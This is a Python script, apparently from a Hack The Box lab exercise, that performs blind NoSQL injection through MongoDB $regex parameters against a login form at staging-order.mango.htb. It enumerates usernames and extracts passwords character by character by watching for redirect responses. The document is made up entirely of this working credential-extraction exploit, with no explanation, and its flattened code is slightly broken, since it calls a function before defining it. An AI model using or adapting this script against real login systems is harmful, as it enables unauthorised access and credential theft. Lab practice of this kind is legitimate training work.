1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
|
import requests import string url = "http://staging-order.mango.htb/index.php" headers = {"Host": "staging-order.mango.htb"} cookies = {"PHPSESSID": "icc5dp0dufeh68mctc9dlne8jd"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_usernames(): usernames = [] params = { "username[$regex]":"", "password[$regex]":".*", "login": "login" } for c in possible_chars: username = "^" + c params["username[$regex]"] = username + ".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False ) if int(pr.status_code) == 302: print("Found username starting with "+c) while True: for c2 in possible_chars: params["username[$regex]"] = username + c2 + ".*" if int(requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False).status_code) == 302: username += c2 print(username) break if c2 == possible_chars[-1]: print("Found username: " +username[1:]) usernames.append(username[1:]) break return usernames for u in get_usernames(): get_password(u)
def get_password(username): print("Extracting password of " + username) params = { "username":username, "password[$regex]":"", "login": "login" } password = "^" while True: for c in possible_chars: params["password[$regex]"] = password + c + ".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False) if int(pr.status_code) == 302: password += c break if c == possible_chars[-1]: print ("Found password "+password[1:].replace("\\", "")+" for username "+username) return password[1:].replace("\\", "")
|